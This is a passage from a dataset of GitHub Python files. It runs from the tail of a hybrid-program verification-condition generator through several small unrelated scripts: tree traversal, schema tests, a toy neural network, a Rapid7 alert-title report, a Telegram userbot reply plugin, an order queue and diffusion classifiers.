0.\n                        # Use Darboux Inequality Rule.\n                        #     closure of D -> e_lie_deriv >= g * e\n                        # ---------------------------------------------\n                        #    e >(>=) 0 <x_dot = f(x) & D> e >(>=) 0\n                    elif inv.rule == \"dbx\":\n                        if inv.rule_arg is not None:\n                            self.infos[sub_pos].dbx_cofactor = inv.rule_arg\n\n                        dbx_inv = self.infos[sub_pos].inv.expr\n                        bottom_loc = self.infos[sub_pos].inv.bottom_loc\n\n                        # For example, simplify !(x > 1) to x <= 1\n                        if isinstance(dbx_inv, expr.LogicExpr): \n                            dbx_inv = self.simplify_expression(dbx_inv)\n                        \n                        assert isinstance(dbx_inv, expr.RelExpr) and \\\n                            dbx_inv.op in {'==', '>', '>=', '<', '<='}, \\\n                            print(\"The wrong type of %s is %s\" %(dbx_inv, type(dbx_inv)))\n\n                        # Tranlate '<' and '<=' into '>' and '>='.\n                        if dbx_inv.op == '<':\n                            dbx_inv = expr.RelExpr('>', dbx_inv.expr2, dbx_inv.expr1)\n                        elif dbx_inv.op == '<=':\n                            dbx_inv = expr.RelExpr('>=', dbx_inv.expr2, dbx_inv.expr1)\n                        # Translate into the form e == 0 or e >(>=) 0\n                        if dbx_inv.expr2 != expr.AConst(0):\n                            expr1 =  expr.OpExpr('-', dbx_inv.expr1, dbx_inv.expr2)\n                            expr1 = self.simplify_expression(expr1)\n                            dbx_inv = expr.RelExpr(dbx_inv.op, expr1, expr.AConst(0)) \n                        \n                        e = dbx_inv.expr1\n                        assert self.is_polynomial(e, self.constant_names) is True\n                        # Compute the lie derivative of e.\n                        e_lie_deriv = compute_diff(e, eqs_dict=self.infos[sub_pos].eqs_dict, functions=self.functions)             \n\n                        # Cases when dbx_inv is \"e == 0\".\n                        # Use Darboux Equality Rule\n                        #          D -> e_lie_deriv == g * e\n                        #--------------------------------------------    (g is the cofactor)\n                        #   {e == 0} <x_dot = f(x) & D> {e == 0}\n                        if dbx_inv.op == \"==\" :\n\n                            # Case when the cofactor g is not offered.\n                            # Compute the cofactor g by auto.\n                            if self.infos[sub_pos].dbx_cofactor is None:\n                                g = expr.OpExpr('/', e_lie_deriv, e)\n                                g = self.simplify_expression(g)\n\n                                assert self.is_polynomial(g, self.constant_names) is True\n                                self.infos[sub_pos].dbx_cofactor = g\n\n                            # Case when cofactor g is offered by the user.\n                            else:\n                                g = self.infos[sub_pos].dbx_cofactor\n                                assert self.is_polynomial(g, self.constant_names) is True\n\n                                # closure of D -> e_lie_deriv == g * e\n                                # (closure of D is not necessary because \"e_lie_deriv == g * e\" is a closed set)\n                                closureD = compute_closure(constraint)\n                                vc = expr.imp(closureD, expr.RelExpr('==', e_lie_deriv, \n                                                                            expr.OpExpr('*', g, e)))\n\n                                self.infos[sub_pos].vcs.append(Condition(\n                                                                expr=vc, \n                                                                path=[sub_pos],\n                                                                origins=origins, \n                                                                bottom_loc=bottom_loc,\n                                                                categ=\"maintain\", \n                                                                isVC=True))\n\n                        # Cases when dbx_inv is e >(>=) 0.\n                        # Use Darboux Inequality Rule.\n                        #     closure of D -> e_lie_deriv >= g * e\n                        # ---------------------------------------------\n                        #    e >(>=) 0 <x_dot = f(x) & D> e >(>=) 0\n                        elif dbx_inv.op in {'>', '>='}:\n                            # Cases when the cofactor g is not offered.\n                            # Compute the cofactor automatically.\n                            if self.infos[sub_pos].dbx_cofactor is None:\n                                quot_remains = self.polynomial_div(e_lie_deriv, e, self.constant_names)\n                                \n                                # Several quot and remain pairs may returned from the polynomial division.\n                                # If there is a remain >= 0, there exists a quot satisfying g in dbx_rule.\n                                vc_comps = []\n                                for _, remain in quot_remains.items():\n                                    # remain (e_lie_deriv - g * e) >= 0.\n                                    vc_comp = expr.RelExpr('>=', remain, expr.AConst(0))\n                                    vc_comps.append(vc_comp)\n                                closureD = compute_closure(constraint)\n                                vc = expr.imp(closureD, expr.list_disj(*vc_comps))\n\n                                self.infos[sub_pos].vcs.append(Condition(\n                                                                expr=vc,\n                                                                path=[sub_pos], \n                                                                origins=origins, \n                                                                categ=\"maintain\",\n                                                                bottom_loc=bottom_loc, \n                                                                isVC=True))\n\n                            # Cases when the cofactor g is offered by the user.\n                            else:\n                                g = self.infos[sub_pos].dbx_cofactor\n                                assert self.is_polynomial(g, self.constant_names) is True\n                                \n                                closureD = compute_closure(constraint)\n                                vc = expr.imp(closureD, expr.RelExpr('>=', e_lie_deriv, \n                                                                            expr.OpExpr('*', self.infos[sub_pos].dbx_cofactor, e)))\n                                self.infos[sub_pos].vcs.append(Condition(\n                                                                expr=vc,\n                                                                path=[sub_pos], \n                                                                origins=origins, \n                                                                categ=\"maintain\", \n                                                                bottom_loc=bottom_loc, isVC=True))\n\n                    # Use barrier certificate\n                    #      closure of D && e == 0 -> e_lie > 0\n                    # --------------------------------------------------\n                    #      {e >=(>) 0} <x_dot = f(x) & D> {e >=(>) 0}                        \n                    elif inv.rule == \"bc\":\n                        assert inv.rule_arg is None\n\n                        barrier_inv = self.infos[sub_pos].inv.expr\n                        bottom_loc = self.infos[sub_pos].inv.bottom_loc\n                        origins = self.infos[sub_pos].inv.origins\n\n                        if isinstance(barrier_inv, expr.LogicExpr):\n                            barrier_inv = self.simplify_expression(barrier_inv)\n\n                        assert isinstance(barrier_inv, expr.RelExpr) and \\\n                            barrier_inv.op in {'<=', '>=', '>', '<'}\n\n                        # TODO: e should be continous\n\n                        # Translate '<=' into '>='\n                        if barrier_inv.op == '<=':\n                            barrier_inv = expr.RelExpr('>=', barrier_inv.expr2, barrier_inv.expr1)\n                        elif barrier_inv.op == '<':\n                            barrier_inv = expr.RelExpr('>', barrier_inv.expr2, barrier_inv.expr1)\n\n                        # Translate 'e >= c' into 'e - c >= 0'\n                        if barrier_inv.expr2 != 0:\n                            expr1 = expr.OpExpr('-', barrier_inv.expr1, barrier_inv.expr2)\n                            # expr1 = self.simplify_expression(expr1)\n                            barrier_inv = expr.RelExpr(barrier_inv.op, expr1, expr.AConst(0))\n\n                        e = barrier_inv.expr1\n                        e_lie = compute_diff(e, eqs_dict=self.infos[sub_pos].eqs_dict, functions=self.functions)\n\n                        # vc: closure of D && e == 0 -> e_lie > 0\n                        closureD = compute_closure(constraint)\n                        vc = expr.imp(expr.LogicExpr('&&', closureD, \n                                                        expr.RelExpr('==', e, expr.AConst(0))),\n                                    expr.RelExpr('>', e_lie, expr.AConst(0)))\n\n                        self.infos[sub_pos].vcs.append(Condition(\n                            expr=vc, \n                            path=[sub_pos], \n                            origins=origins, \n                            categ=\"maintain\", \n                            bottom_loc=bottom_loc, \n                            isVC=True))\n   \n                    else:\n                        if inv.rule is not None:\n                            raise NotImplementedError(\"Unknown ODE method\")\n\n                    # Add the assume into the hypothesis of every verification condition at sub_pos.\n                    self.add_vc_assume(sub_pos)\n                    self.add_vc_constants(sub_pos)\n             \n                pre = pre_dw\n                \n            elif cur_hp.rule == \"solution\":\n                # P' = \\forall t > 0. (\\forall 0 <= s < t. D(u(s))) && !D(u(t)) -> Q(u(t))\n                # \n                # -----------------------------------------------------\n                #    {(D -> P') && (!D -> Q)} <x_dot = f(x) & D(x)> {Q}\n                # f(x) is linear in x. Assume u(.) solve the symbolic initial value problem u'(t) = f(u), u(0) = x\n                for var, diff in self.infos[pos].eqs_dict.items():\n                    if str(diff) != str(0):\n                    # The degree of 0 is negative infinity. For example, degree(0, x) -oo.\n                        d = degree(sympify(str(diff).replace('^', '**')), gen=symbols(var))\n                        if not d in {0,1}:\n                            raise AssertionError(\"{0} should be linear in {1} when using sln rule!\".format(diff, var))\n\n                # Create a new variable to represent time\n                time_var = create_newvar('t', self.names)\n\n                # Solution is, e.g. {'x' : x + v*t + a*t^2/2, 'v' : v + a*t}.\n                solution_dict = solveODE(cur_hp, self.names, time_var.name)\n\n                # Create a new variable to represent 's' in 'ForAll 0 <= s < t'\n                in_var = create_newvar('s', self.names)\n                self.names.add(in_var.name)\n\n                # Compute u_s, alias u(s)\n                # e.g. {'x' : x + v*s + a*s^2/2, 'v' : v + a*s\n                u_s = dict()\n                for fun_name, sol in solution_dict.items():\n                    sol_s = sol.subst({time_var.name : in_var})\n                    u_s[fun_name] = sol_s\n\n                D_u_s = constraint.subst(u_s)\n                D_u_t = constraint.subst(solution_dict)\n\n                pre = []\n                for subpost in post:\n                    Q_u_t = subpost.expr.subst(solution_dict)\n\n                    # Compute the hypothesis of implication\n                    # \\forall 0 <= s < t D(u(s)) && !D(u(t))\n                    subcond = expr.ForAllExpr(in_var.name, \n                                expr.imp(expr.LogicExpr('&&', \n                                                        expr.RelExpr('<=', expr.AConst(0), in_var),\n                                                        expr.RelExpr('<', in_var, time_var)),\n                                         D_u_s))\n                    cond = expr.LogicExpr('&&', \n                                subcond,\n                                expr.LogicExpr('!', D_u_t))\n\n                    # Compute the conclusion of implication\n                    conclu = Q_u_t\n\n                    # Compute P'\n                    pre_expr = expr.ForAllExpr(time_var.name,\n                                               expr.imp(expr.RelExpr('>', time_var, expr.AConst(0)),\n                                                        expr.imp(cond, conclu)))\n\n                    pre_exec = Condition(expr=pre_expr,\n                                         path=subpost.path + [pos],\n                                         blabel=self.compute_branch_label(cur_branch='exec',\n                                                old_blabel=subpost.blabel, blabel_depth=subpost.blabel_depth),\n                                         blabel_depth=subpost.blabel_depth,\n                                         origins=subpost.origins,\n                                         bottom_loc=subpost.bottom_loc,\n                                         categ=subpost.categ)\n                    pre_skip = Condition(expr=expr.imp(expr.neg_expr(constraint), \n                                                        subpost.expr),\n                                        path=subpost.path,\n                                        blabel=self.compute_branch_label(cur_branch='skip', \n                                            old_blabel=subpost.blabel, blabel_depth=subpost.blabel_depth),\n                                        blabel_depth=subpost.blabel_depth,\n                                        origins=subpost.origins + [OriginLoc(isConstraint=True, hp_pos=pos[0])],\n                                        bottom_loc=subpost.bottom_loc,\n                                        categ=subpost.categ\n                                        )\n                                    \n                    pre = pre + [pre_exec, pre_skip]\n\n            else:\n                raise NotImplementedError\n\n        else:\n            raise NotImplementedError\n\n        # Assign pre-condition, or create a new verification condition if the\n        # pre-condition is already set.\n        if self.infos[pos].pre is None:\n            self.infos[pos].pre = pre\n        else:\n            # self.infos[pos].pre is the pre-condition of the whole hp.\n            pre_conj = expr.conj(*[subpre.expr for subpre in self.infos[pos].pre])\n            subpre_origins = []\n            for subpre in self.infos[pos].pre:\n                subpre_origins.extend(subpre.origins)\n            for i, vc in enumerate(pre):\n                self.infos[pos].vcs.append(\n                    Condition(expr=expr.imp(pre_conj, vc.expr), \n                              path=vc.path,\n                              blabel=vc.blabel, \n                              origins=vc.origins + subpre_origins,\n                              bottom_loc=vc.bottom_loc, \n                              categ=vc.categ,\n                              isVC=True\n                              ))\n\n        # Add assume into the hypothesis of every verification condition at pos.\n        self.add_vc_assume(pos)\n        self.add_vc_constants(pos)\n\n    def convert_imp(self, e):\n        \"\"\"Convert implication from (p -> q -> u) to (p && q) -> u,\n        in which the right expression won't be an implication \"\"\"\n        if isinstance(e, expr.LogicExpr) and e.op == '->':\n            if isinstance(e.exprs[1], expr.LogicExpr) and e.exprs[1].op == '->':\n                l_expr = expr.LogicExpr('&&', e.exprs[0], e.exprs[1].exprs[0])\n                r_expr = e.exprs[1].exprs[1]\n                return self.convert_imp(expr.imp(l_expr, r_expr))\n            # p -> q\n            else:\n                return e\n        else:\n            return e\n \n    def set_solver(self, vc):\n        \"\"\"Set the solver of verification condition, which is z3 by default, as the one indicated in  proof method\"\"\"\n        assert isinstance(vc, Condition) and vc.isVC is True\n        assert vc.bottom_loc is not None\n\n        isPost = vc.bottom_loc.isPost\n\n        # Proof method of each vc is stored in the bottom-most assertion related.\n\n        if isPost:\n            assertion = self.post[vc.bottom_loc.index]\n        \n        else:\n            assert vc.bottom_loc.hp_pos is not None\n            bottom_hp = get_pos(self.hp, vc.bottom_loc.hp_pos)\n\n            assert isinstance(bottom_hp, (hcsp.Loop, hcsp.ODE))\n            assertion = bottom_hp.inv[vc.bottom_loc.index]\n\n        # Match the computed label of vc and the one in proof method.\n        for pms in assertion.proof_methods.pms:\n            if str(vc.comp_label) == str(pms.label):\n                vc.solver = pms.method\n\n        return vc\n\n    def get_all_vcs(self):\n        all_vcs = dict()\n        for pos, info in self.infos.items():   \n            if info.vcs:    \n                all_vcs[pos] = info.vcs\n        return all_vcs\n\n    def verify(self):\n        \"\"\"Verify all VCs in self.\"\"\"\n        all_vcs = self.get_all_vcs()\n        \n        for pos, vcs in all_vcs.items():\n            for vc in vcs:\n                vc = self.set_solver(vc)\n                if not self.verify_vc(vc):\n                    print(\"The failed verification condition is :\\n\", pos, ':', str(vc))\n                    return False\n        return True\n\n\n\n    def verify_vc(self, vc):\n        \"\"\"Verify one verfication condition with its solver\"\"\"\n        solver = vc.solver\n        if solver == 'wolfram':\n            if wl_prove(vc.expr, self.functions):\n                return True\n            else:\n                return False\n\n        elif solver == 'z3':\n            if z3_prove(vc.expr, self.functions):\n                return True\n            else:\n                return False\n\n        else:\n            raise AssertionError(\"Please choose an arithmetic solver.\")\n\n\n\n\n            \n\n\n","repo_name":"bzhan/mars","sub_path":"hhlpy/hhlpy.py","file_name":"hhlpy.py","file_ext":"py","file_size_in_byte":64317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28378894844","text":"Student_Name = \"Arun\"\nStudent_Id = 231\nStudent_class = \"B\"\nStudent_Sec = 10\n\nif Student_Id == 231:\n    print(\"Student Id is matched to the:\", Student_Name)\nelif Student_Sec == 230:\n    print(\"Student sec is matched to :\", Student_Name, Student_class)\nelse:\n    print(\"This Student is not in our Student Record list\")\n","repo_name":"ArunRoshan-03/Python_Training","sub_path":"PythonProgram/ConditionalStatement.py","file_name":"ConditionalStatement.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20526693481","text":"from collections import deque\r\nimport sys\r\ninput = sys.stdin.readline\r\ndef front(node, result):\r\n    result.append(node)   \r\n    if tree[node][0] != '.':\r\n        front(tree[node][0],result)\r\n\r\n    if tree[node][1] != '.':\r\n        front(tree[node][1],result) \r\ndef mid(node,result):\r\n    \r\n    if tree[node][0] != '.':\r\n        mid(tree[node][0],result)\r\n    result.append(node)   \r\n    if tree[node][1] != '.':\r\n        mid(tree[node][1],result)\r\ndef back(node,result):\r\n    if tree[node][0] != '.':\r\n        back(tree[node][0],result)\r\n    if tree[node][1] != '.':\r\n        back(tree[node][1],result)\r\n    result.append(node)   \r\n    \r\n\r\nn = int(input())\r\ntree = {}\r\n\r\nfor q in range(n):\r\n    m, l, r = input().split()\r\n    tree[m] = l,r\r\n\r\nresult = []\r\nfront('A',result)\r\n\r\nfor q in result:\r\n    print(q, end = '')\r\nprint()\r\nresult = []\r\n\r\nmid('A',result)\r\nfor q in result:\r\n    print(q, end = '')\r\nprint()\r\nresult = []\r\nback('A',result)\r\nfor q in result:\r\n    print(q, end = '')\r\n\r\n","repo_name":"RDavid32/test_baekjoon","sub_path":"백준/Silver/1991. 트리 순회/트리 순회.py","file_name":"트리 순회.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71461336008","text":"import marshmallow as mm\nimport pytest\nimport typing\n\nfrom flaskr import schemas, models as mbta_models\n\n\n@pytest.fixture\ndef direction_data(route: mbta_models.Route) -> typing.Dict:\n    return {\n        \"route_id\": f\"{route.route_id}\",\n        \"direction_id\": \"1\",\n        \"direction\": \"North\",\n        \"direction_destination\": \"The end of the world\",\n    }\n\n\ndef test_load_good_data(direction_data: typing.Dict):\n    # GIVEN\n    direction_obj = schemas.DirectionSchema().load(direction_data)\n\n    # THEN\n    assert isinstance(direction_obj, mbta_models.Direction)\n    for key, value in direction_data.items():\n        if key == \"direction_id\":\n            value = int(value)\n        elif key == \"direction\":\n            value = getattr(mbta_models.DirectionOption, value.lower())\n        assert getattr(direction_obj, key) == value\n\n\ndef test_load_data_missing_route(direction_data: typing.Dict):\n    \"\"\"If no Route is found for the given route_id, just skip this Direction data\"\"\"\n    # GIVEN\n    direction_data[\"route_id\"] = \"bad route id\"\n    assert schemas.DirectionSchema().load(direction_data) is None\n\n\n@pytest.mark.parametrize(\n    \"direction_data_update\",\n    (\n        {\"direction_id\": \"2\"},\n        {\"direction\": \"Away\"},\n        {\"direction_destination\": \"\"},\n        {\"bad_key\": \"anything\"},\n    ),\n)\ndef test_load_bad_data(direction_data_update: typing.Dict, direction_data: typing.Dict):\n    # GIVEN\n    direction_data.update(direction_data_update)\n\n    # THEN\n    with pytest.raises(mm.ValidationError):\n        schemas.DirectionSchema().load(direction_data)\n","repo_name":"ericbgarnick/transit_info","sub_path":"mbta_info/tests/test_schemas/test_direction_schema.py","file_name":"test_direction_schema.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36990321904","text":"import numpy as np\r\nimport random\r\nimport pickle\r\n\r\n\r\ndef sig(n):\r\n    return 1/(1+np.exp(-n))\r\n\r\n\r\nclass Net(object):\r\n\r\n    def __init__(self, lays):\r\n        self.nlays = len(lays)\r\n        self.sizes = lays\r\n        self.biases = [np.random.rand(y, 1) for y in self.sizes[1:]]\r\n        self.weights = [np.random.randn(y, x) for x, y in zip(self.sizes[:-1], self.sizes[1:])]\r\n\r\n    def feedforward(self, a):\r\n        for b, w in zip(self.biases, self.weights):\r\n            a = sig(np.dot(w, a)+b)\r\n        return a\r\n\r\n    def train(self, inp, lr, epochs, bs, cp=False):\r\n        print('[*]Beginning Training[*]')\r\n        for epoch in range(epochs):\r\n            if cp and epoch % (epochs/10) == 0 and epoch != 0:\r\n                self.save('checkPoint.v2Net.AI')\r\n            print('    epoch {0} of {1}'.format(epoch+1, epochs))\r\n            n = len(inp)\r\n            random.shuffle(inp)\r\n            batches = [inp[k:k + bs] for k in range(0, n, bs)]\r\n\r\n            for batch in batches:\r\n                _W = [np.zeros(w.shape) for w in self.weights]\r\n                _B = [np.zeros(b.shape) for b in self.biases]\r\n                for data in batch:\r\n                    _a = data[0]\r\n                    a = [_a]\r\n                    for b, w in zip(self.biases, self.weights):\r\n                        _a = sig(np.dot(w, _a) + b)\r\n                        a.append(_a)\r\n                    # gd #\r\n                    for n in range(len(data[1])):\r\n                        dedo = a[-1][n] - data[1][n]\r\n                        for layer in range(1, len(self.weights)+1):\r\n                            for node in range(len(self.weights[layer-1])):\r\n                                out = a[layer][node]\r\n                                dodi = out * (1-out)\r\n                                dedb = dedo*dodi\r\n                                _b = self.biases[layer-1][node]\r\n                                _b -= (lr*dedb)/bs\r\n                                _B[layer-1][node] = _b\r\n                                for w in range(len(self.weights[layer-1][node])):\r\n                                    didw = a[layer-1][w]\r\n                                    dedw = dedo*dodi*didw\r\n                                    _w = self.weights[layer-1][node][w]\r\n                                    _w -= (lr*dedw)/bs\r\n                                    _W[layer-1][node][w] = _w\r\n                self.weights = _W\r\n                self.biases = _B\r\n        print('[*]Training Complete[*]')\r\n\r\n    def load(self, file):\r\n        [self.nlays, self.sizes, self.weights, self.biases] = pickle.load(open(file, 'rb'))\r\n\r\n    def save(self, file):\r\n        with open(file, 'wb') as f:\r\n            pickle.dump([self.nlays, self.sizes, self.weights, self.biases], f)\r\n            f.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n    from PIL import Image\r\n\r\n    net = Net([2, 5, 5, 1])\r\n\r\n    if input('Train the network?[Y/N]: ').upper() == 'Y':\r\n        i = []\r\n        for x_ in range(-200, 200):\r\n            x = x_ / 100\r\n            for y_ in range(0, 150):\r\n                y = y_ / 100\r\n                i1 = np.array([x, y]).reshape(2, 1)\r\n                y2 = np.exp(-(x ** 2))\r\n                if y2 >= y:\r\n                    # point is under the curve\r\n                    i2 = np.array([0]).reshape(1, 1)\r\n                else:\r\n                    # point is above the curve\r\n                    i2 = np.array([1]).reshape(1, 1)\r\n                i.append((i1, i2))\r\n        net.train(i, 0.005, 20, 1)\r\n        print(net.feedforward(np.array([0, 0.5]).reshape(2, 1)))\r\n        pdata = []\r\n        for y_ in range(150, 0, -1):\r\n            y = y_ / 100\r\n            _data = []\r\n            for x_ in range(-200, 200, 2):\r\n                x = x_ / 100\r\n                i = np.array([x, y]).reshape(2, 1)\r\n                p = (1 - net.feedforward(i)[0][0]) * 255\r\n                _data.append(p)\r\n            pdata.append(_data)\r\n\r\n        img = Image.fromarray(np.uint8(pdata))\r\n        img.show()\r\n        # img.save('v2Net.bmp')\r\n        if input('\\nWould you like to save the network?[Y/N]: ').upper() == 'Y':\r\n            net.save('v2Net.AI')\r\n    else:\r\n        net.load('v2Net.AI')\r\n        pdata = []\r\n        for y_ in range(150, 0, -1):\r\n            y = y_ / 100\r\n            _data = []\r\n            for x_ in range(-200, 200, 2):\r\n                x = x_ / 100\r\n                i = np.array([x, y]).reshape(2, 1)\r\n                p = (1 - net.feedforward(i)[0][0]) * 255\r\n                _data.append(p)\r\n            pdata.append(_data)\r\n\r\n        img = Image.fromarray(np.uint8(pdata))\r\n        img.show()\r\n        # deimg.save('v2Net.bmp')\r\n\r\n\r\n","repo_name":"An-gus/NeuralNet","sub_path":"v2NeuralNet.py","file_name":"v2NeuralNet.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11125821174","text":"# Basic report generator for titles in InsightIDR - Kellvin Romano / byth22\n\n## libs necessárias\nimport requests\nimport json\nimport re\nfrom datetime import date\nfrom collections import Counter\nimport sys\n\n\n## func para levantar títulos de investigações e separa-los entre custom alerts e alertas nativos\ndef check_titles(data):\n    titles = []\n    for i in data['data']:\n    ## try-except para dicernir entre titulos de custom alerts e titulos de alertas nativos\n        try:\n            #titles.append(i['alerts'][0]['type_description'])\n            #print (i['alerts'])\n            if 'logs' in str(i):\n                titles.append(i['title'])\n\n            else:\n                titles.append(i['alerts'][0]['type_description'])\n        except:\n            pass\n\n    count_dict = dict(Counter(titles).items())\n\n    return (count_dict)\n\n\n## func para obter dados de investigações via api REST\ndef data_receive():\n    today = date.today()\n    url = 'https://<seu_país_cloud>.api.insight.rapid7.com/idr/v1/investigations' # <- é necessário setar o endpoint do seu país\n\n    headers = {\n        'X-Api-Key': '', # <- é necessario setar sua api key\n    }\n\n    params = {\n        #'start_time' : str(today)+'T00:00:00Z',\n        'start_time' : '2022-06-20'+'T00:00:00Z', # <- é necessário setar a data inicial de pesquisa\n        'size' : '1000',\n    }\n\n    r = requests.get(url, headers=headers, params=params)\n    data = json.loads(r.content)\n\n    return data\n\n\n## func para printar lista em melhor visualização\ndef print_list(titles):\n    for key, value in titles.items():\n        print(key, ' : ', value)\n\n    return 0\n\n\ndef main():\n    data = data_receive()\n    titles = check_titles(data)\n    print_list(titles)\n    #print (titles)\n\n\nmain()\n","repo_name":"byth22/Rapid7-InsightIDR-new1","sub_path":"report-tool-titles/report-tool.py","file_name":"report-tool.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8396926559","text":"# just for fun plugin for USERGE-X by @Kakashi_HTK(tg)/@ashwinstr(gh)\n\nimport asyncio\n\nfrom userge import Message, userge\n\n\n@userge.on_cmd(\n    \"dead\",\n    about={\n        \"header\": \"dead or alive\",\n        \"usage\": \"{tr}dead\",\n    },\n)\nasync def dead_(message: Message):\n    \"\"\"dead or alive\"\"\"\n    await message.delete()\n    reply_ = message.reply_to_message\n    if reply_:\n        reply_id = reply_.message_id\n    else:\n        reply_id = None\n    link_ = \"https://telegra.ph/file/55245d8d5cffdd6443994.mp4\"\n    msg_ = f\"\"\"\n<b>DARE TO TEST ME MF.</b>\n\n    🔥 <b>Status:</b> `I'm alive MF.`\n    ⏱ <b>Dead since:</b> `Never died MF.`\n    👤 <b>Who killed:</b> `No one dares MF.`\n    🧬 <b>Why died:</b> `Nothing kills me MF.`\n\n<b>Running at full capacity like no tomorrow MF.</b><a href='{link_}'>­</a>\n\"\"\"\n    send_ = await userge.send_message(\n        chat_id=message.chat.id,\n        text=msg_,\n        reply_to_message_id=reply_id,\n    )\n    await asyncio.sleep(15)\n    msg_ = msg_.replace(\"­\", \"\")\n    await send_.edit(msg_)\n","repo_name":"ashwinstr/UX-jutsu","sub_path":"userge/plugins/jutsu/deads.py","file_name":"deads.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"16"}
+{"seq_id":"23272728778","text":"from time import sleep\r\nfrom threading import Thread\r\nimport Queue\r\nqueue = Queue.Queue()\r\ndef placeOrder(*items):\r\n    for i in items:\r\n        print(\"Order Placed for \",queue.enqueue(i),\"\\n\")\r\n        \r\n        sleep(0.5)\r\ndef serveOrder():\r\n    while not queue.isEmpty():\r\n        order = queue.dequeue()\r\n        print(order,\" has been served \\n\")\r\n        sleep(2)\r\n\r\nif __name__ == \"__main__\":\r\n    orders = ['pizza','samosa','pasta','biryani','burger']\r\n    t1 = Thread(target=placeOrder, args=orders)\r\n    t2 = Thread(target=serveOrder)\r\n    t1.start()\r\n    sleep(1)\r\n    t2.start()","repo_name":"jash09/FoodOrdering-FPTask","sub_path":"FoodOrdering.py","file_name":"FoodOrdering.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6777500921","text":"import torch\nfrom diffusion.models.base import BaseModel\nimport math\n\n\nclass HebbianNeuron(BaseModel):\n    def __init__(self, data_dim, **kwargs):\n        super(HebbianNeuron, self).__init__(**kwargs)\n\n        self.weight = torch.nn.Parameter(torch.randn((1, data_dim), device=self.device))\n\n        self.learning_force_multiplier = 1\n\n\n    def forward(self, input):\n        activation = self.weight * input\n        return activation\n\n    def metrics(self, label, activation):\n\n        prediction = activation > 0\n        accuracy = torch.mean(torch.tensor(label == prediction, dtype=torch.float32))\n\n        return {'accuracy': accuracy, 'weight': self.weight.data}\n\n\n\n    def train_step(self, minibatch: dict, optimizer: torch.optim.Optimizer) -> dict:\n        data = minibatch['data'].to(self.device).float()\n        label = minibatch['label'].to(self.device).long()\n\n        activation = self.forward(data)\n\n        stats = self.metrics(label, activation)\n\n        label[label == 0] = -1\n        lr = optimizer.param_groups[0]['lr']\n        learning_force = self.learning_force_multiplier * data * label * lr\n        thermal_noise = torch.randn(size=(1,), device=self.device) * math.sqrt(2)\n        self.weight.data = self.weight.data + (- self.weight.data + learning_force) + thermal_noise\n\n        return stats\n\n    def valid_step(self, minibatch: torch.Tensor) -> dict:\n        data = minibatch['data'].to(self.device).float()\n        label = minibatch['label'].to(self.device).long()\n\n        activation = self.forward(data)\n\n        stats = self.metrics(label, activation)\n\n        return stats\n\nclass Neuron(BaseModel):\n    def __init__(self, data_dim, **kwargs):\n        super(Neuron, self).__init__(**kwargs)\n\n        self.data_dim = data_dim\n        self.n_classes = kwargs.get('n_classes')\n\n\n        out_dim = 1 if self.n_classes == 2 else self.n_classes\n\n        self.neuron = torch.nn.Linear(data_dim, out_dim, bias=False).to(self.device)\n\n\n    def forward(self, input):\n        output = self.neuron(input)\n        if self.n_classes == 2:\n            prediction = torch.cat((output, 1-output), dim=-1)\n        else:\n            prediction = torch.nn.functional.softmax(output, dim=-1).squeeze()\n        return prediction\n\n    def loss(self, input, target):\n        loss = torch.nn.functional.cross_entropy(input, target)\n        return {'loss': loss}\n\n    def train_step(self, minibatch: dict, optimizer: torch.optim.Optimizer) -> dict:\n        data = minibatch['data'].to(self.device).float()\n        label = minibatch['label'].to(self.device).long()\n\n        # optimizer initialization\n        optimizer.zero_grad()\n\n        # forward pass\n        prediction = self.forward(data)\n\n        # backprop + update\n        loss_stats = self.loss(prediction, label)\n        loss_stats['loss'].backward()\n        #torch.nn.utils.clip_grad_norm_(self.parameters(), 1)\n        optimizer.step()\n\n        return loss_stats\n\n    def valid_step(self, minibatch: torch.Tensor) -> dict:\n        data = minibatch['data'].to(self.device).float()\n        label = minibatch['label'].to(self.device).long()\n\n        # forward pass\n        prediction = self.forward(data)\n\n        loss_stats = self.loss(prediction, label)\n\n        return loss_stats\n\n\n","repo_name":"lukasalexanderconrads/diffusion","sub_path":"src/diffusion/models/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
